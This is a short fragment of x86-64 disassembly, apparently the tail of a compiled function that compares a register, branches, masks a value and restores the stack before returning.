cmp r8, 8
setne r8b
jne 0x14001aa30
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret